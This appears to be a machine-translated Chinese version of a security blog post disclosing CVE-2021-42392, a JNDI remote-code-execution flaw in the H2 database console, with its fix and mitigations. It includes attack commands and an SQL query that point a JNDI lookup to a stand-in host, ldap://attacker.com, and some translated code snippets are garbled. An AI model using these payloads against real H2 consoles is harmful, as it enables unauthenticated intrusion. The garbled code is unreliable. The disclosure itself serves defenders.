JNDI反击- H2数据库控制台中未经身份验证的RCE

JNDI漏洞- H2数据库控制台中未经身份验证的RCE

22年7月1日更新-在致谢部分添加了对研究员@pyn3rd的类似独立先前发现的赞扬

一个简短的序言

最近,JFrog安全研究团队披露了H2数据库控制台的一个问题,该问题被发布了一个严重的CVE -cve - 2021 - 42392。这个问题与臭名昭著的问题有着相同的根本原因Log4ShellApache Log4j中的漏洞(JNDI远程类加载)。

H2是一个非常流行的开源Java SQL数据库,它提供了一个轻量级的内存解决方案,不需要将数据存储在磁盘上。这使得它成为来自web平台的各种项目的流行数据存储解决方案春天的引导到物联网平台ThingWorks。的com.h2database: h2包是前50个最受欢迎的Maven包之一,几乎7000工件依赖项

由于目前任何与(Java) jndi相关的东西都很敏感,我们想要澄清一些必须存在的条件和配置,以便在进入我们的H2漏洞发现的技术细节之前面临风险。

尽管这是一个有着相似根本原因的关键问题,CVE-2021-42392不应该像Log4Shell (CVE-2021-44228)那样广泛由于以下因素:

  1. 与Log4Shell不同,此漏洞具有“直接”影响范围。这意味着通常处理初始请求的服务器(H2控制台)将是受到RCE影响的服务器。与Log4Shell相比,这没有那么严重,因为易受攻击的服务器应该更容易找到。
  2. 在H2数据库的普通发行版上,默认情况下H2控制台只监听本地主机连接——这使得默认设置是安全的。这与Log4Shell不同,Log4Shell在Log4j的默认配置中是可利用的。然而,值得注意的是,H2控制台也可以很容易地更改为监听远程连接。
  3. 许多供应商可能正在运行H2数据库,但没有运行H2控制台。尽管除了控制台之外,还有其他媒介可以利用这个问题,但这些媒介是与上下文相关的,不太可能暴露给远程攻击者。

也就是说,如果您运行的H2控制台暴露于LAN(或者更糟的是WAN),那么这个问题非常关键(未经身份验证的远程代码执行)应该立即更新你的H2数据库到2.0.206版本吗

我们还观察到,许多开发人员工具都依赖于H2数据库,并特别公开H2控制台(稍后将在博客文章中包含一些示例)。最近针对开发者的供应链攻击趋势,例如流行存储库中的恶意软件包,强调开发人员工具对于所有合理用例的安全性的重要性。我们希望在应用此修复程序后,许多依赖于h2的开发人员工具也会变得更安全。

为什么我们要扫描JNDI缺陷?

我们从Log4Shell漏洞事件中得到的一个关键结论是,由于JNDI的广泛使用,必然会有更多的包受到与Log4Shell相同的根本原因的影响——接受任意JNDI查找url。因此,我们已经调整了我们的自动漏洞检测框架,以考虑到javax.naming.Context.lookup函数作为危险函数(sink),并将框架释放到Maven存储库希望能找到类似Log4Shell的问题。

我们得到的第一个有效匹配是在H2数据库包上。在确认问题后,我们向H2维护者报告了这个问题,他们立即在新版本中修复了这个问题,并创建了一个关键GitHub咨询。随后,我们还发布了一个关键的CVE -cve - 2021 - 42392

在这篇博文中,我们将介绍我们在H2数据库中发现的几个攻击向量,它们允许触发远程JNDI查找,其中一个向量允许未经身份验证的远程代码执行。

漏洞的根本原因- JNDI远程类加载

简而言之,根本原因与Log4Shell相似——H2数据库框架中的几个代码路径将未经过滤的攻击者控制的url传递给javax.naming.Context.lookup函数,它允许远程代码库加载(又名Java代码注入又名远程代码执行)。

具体来说,org.h2.util.JdbcUtils.getConnection方法以驱动程序类名和数据库URL作为参数。如果驱动程序的类可赋值给javax.naming.Context类,该方法从它实例化一个对象并调用它的查找方法:

else if (javax.naming.Context.class.isAssignableFrom(d)) {// JNDI context context context = (context). getdeclaredconstructor ().newInstance();数据源ds =(数据源)context.lookup(url);if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) {return ds.getConnection();}返回ds。getConnection(用户、密码);}

提供驱动程序类,例如javax.naming.InitialContext和URL,如ldap: / / attacker.com/Exploit将导致远程代码执行。

到目前为止,我们无法想象地球上还有谁不熟悉这种攻击流程,但可视化可能仍然有帮助

JNDI攻击流

CVE-2021-42392攻击向量

H2控制台——非上下文相关的、未经身份验证的RCE

这个问题最严重的攻击媒介是通过H2控制台。

H2数据库包含一个嵌入的基于web的控制台,这样可以方便地管理数据库。默认情况下它是可用的http://localhost:8082运行H2包JAR -

Java -jar bin/h2.jar

或者,在Windows上,通过开始菜单-

Windows开始菜单- H2控制台应用程序

此外,当H2用作嵌入式库时,可以从Java -启动控制台

h2Server =服务器。createWebServer("-web", "-webAllowOthers", "-webPort", "8082");h2Server.start ();

对控制台的访问由登录表单保护,该表单允许将“driver”和“url”字段传递给的对应字段JdbcUtils.getConnection。这将导致未经身份验证的RCE,因为在使用潜在的恶意URL执行查找之前没有验证用户名和密码。

通用H2 -登录表格

默认情况下,只能从本地主机访问H2控制台。这个选项可以通过控制台的UI进行更改:

H2控制台首选项UI

或者通过命令行参数:-webAllowOthers

不幸的是,我们发现一些依赖于H2数据库的第三方工具将运行向远程客户机公开的H2控制台默认情况下。例如,JHipster框架还公开H2控制台,默认情况下设置webAllowOthers财产真正的

# H2服务器属性0=JHipster H2(内存)|org.h2。Driver|jdbc\:h2\:mem\:jhbomtest|jhbomtest webAllowOthers=true webPort=8092 webSSL=false

就像从文档,当使用JHipster框架运行应用程序时,默认情况下,H2控制台在JHipster web界面上可用/ h2-console端点:

JHipster web界面

由于H2数据库被如此多的工件使用,因此很难量化在实际环境中存在多少易受攻击的H2控制台部署。我们认为这是最严重的攻击媒介,也是因为可以通过使用公共搜索工具来定位面向wan的易受攻击控制台。

Shell工具-上下文相关的RCE

在内置的H2壳,控制命令行参数的攻击者可以调用相同的漏洞司机url如前所述:

Java -cp h2*.jar org.h2.tools。Shell -driver javax. naminginitialcontext -url ldap://attacker.com:1387/Exploit

我们认为这种攻击向量是极不可能的,因为需要存在自定义代码来将远程输入管道传输到这些命令行参数。如果存在这样的自定义代码,攻击可能会更容易发生,因为攻击者可以控制一个部分的命令行,还包含参数注入攻击。看到我们的Yamale博客有关此类袭击的更多细节。

基于sql的矢量-身份验证(高权限)RCE

脆弱的JdbcUtils.getConnection也可以由几个SQL存储过程调用,这些存储过程默认在H2数据库中可用。我们已经确定了几个程序,但它们都有相同的性质,这使得这个攻击向量不那么严重只有经过身份验证的(DB)管理员才能调用它们

例如,LINK_SCHEMA存储过程直接将驱动程序和URL参数传递给易受攻击的函数,如下面的查询-所示

SELECT * FROM LINK_SCHEMA('pwnfr0g', 'javax.naming. ')InitialContext', 'ldap://attacker.com:1387/Exploit', 'pwnfr0g', 'pwnfr0g', 'PUBLIC');

由于存储过程仅限于数据库管理员,我们认为最有可能的攻击向量是将单独的SQL注入漏洞升级到RCE。

我如何检查我是否容易受到CVE-2021-42392的攻击?

网络管理员可以扫描其本地子网,以查找H2控制台的开放实例nmap,例如——

nmap -sV——script http-title——script-args "http-title。url=/" -p80,443,8000-9000 192.168.0.0/8 | grep "H2 Console"

(香草安装中的默认控制台端点是" / ",通过第三方工具部署的H2控制台可能会有所不同)

任何返回的服务器都极有可能被利用。

如上所述,还有其他攻击媒介,但通过它们进行远程利用的可能性要小得多。无论如何,我们建议升级H2数据库(参见“建议修复”)。

JFrog是如何检测到CVE-2021-42392的?

在定义Java的内置功能时,可以通过数据流分析(DFA)检测到这个问题HttpServlet.doGet / doPost方法作为用户输入源(特别是第一个req参数),以及前面提到的javax.naming.Context.lookup方法(执行JNDI查找)是一个危险的函数/接收器。

这种情况下的数据流相当简单,尽管需要跟踪一些类字段。中标记的变量红色的表示跟踪数据-

CVE-2021-42392 -追踪数据

CVE-2021-42392的建议修复是什么?

我们建议所有使用H2数据库的用户升级到版本2.0.206,即使您不直接使用H2控制台。这是由于存在其他攻击媒介,并且它们的可利用性可能难以确定。

2.0.206版本通过限制JNDI url使用(local)修复了CVE-2021-42392。java协议,它拒绝任何远程LDAP/RMI查询。这与应用的修复类似Log4j 2.17.0

如何缓解CVE-2021-42392 ?

修复该漏洞的最佳方法是升级H2数据库。

对于目前无法升级H2的供应商,我们提供以下缓解选项:

  1. 与Log4Shell漏洞类似,新版本的Java包含trustURLCodebase不允许通过JNDI天真地加载远程代码库的缓解。供应商可能希望升级其Java (JRE/JDK)版本以启用此缓解。
    默认情况下,在以下Java版本(或任何更新版本)上启用此缓解

    • 6 u211
    • 7 u201
    • 8 u191
    • 11.0.1

    但是,这种缓解并不是无懈可击的,因为可以通过LDAP发送序列化的“gadget”Java对象来绕过它,只要在类路径中包含相应的“gadget”类(取决于运行H2数据库的服务器)。欲了解更多信息,请参阅“使用序列化的Java对象和本地小部件类,摘自我们的Log4Shell博客文章。

  2. 当H2控制台Servlet部署在web服务器上(不使用独立的H2 web服务器)时,可以添加一个安全约束,只允许特定用户访问控制台页面。在这里可以找到一个合适的配置示例

致谢

我们要感谢H2数据库维护者非常迅速地验证和修复了这些问题,并负责任地为该问题创建了安全咨询。

在本文发表之前,我们要感谢研究人员@pyn3rd,他发现了一个类似于本文提到的攻击向量之一的发现。特别是Spring Boot在非默认配置下容易受到H2控制台JNDI问题的影响。
JFrog的研究工作完全独立于这一发现,我们的研究团队和H2维护人员都没有发现这一点,可能是因为没有发布官方建议,并且出版物不是英文的(这会影响搜索结果)。
由于我们的研究强调了问题的根本原因,并正确地向H2维护者(他们不知道之前的任何发现)披露了上述修复版本的H2数据库2.0.206,是基于我们的披露和提供的补丁创建的。
我们觉得升级到H2的固定版本现在更加重要,因为一些攻击者可能已经看到了之前的发现,推断出一般问题,并且已经使用类似的攻击向量一段时间了。
一如既往,我们鼓励安全研究人员在与维护人员联系并确保广泛使用固定版本后才发布他们的发现。

结论

最后,我们强烈建议将H2数据库升级到最新版本,以避免可能利用CVE-2021-42392。

JFrog安全研究团队正在不断扫描类似的JNDI漏洞,这既是为了负责任的披露目的,也是为了改进我们未来的零日检测能力JFrog x光客户。

据我们所知,CVE-2021-42392是自Log4Shell以来发布的第一个与jndi相关的未经身份验证的RCE漏洞,但我们怀疑它不会是最后一个。

请继续关注我们的博客,了解更多信息披露和技术分析,以帮助您保护软件供应链免受未来的攻击。

与此同时,探索如何发现和缓解Log4j漏洞在您的软件供应链中使用JFrog平台。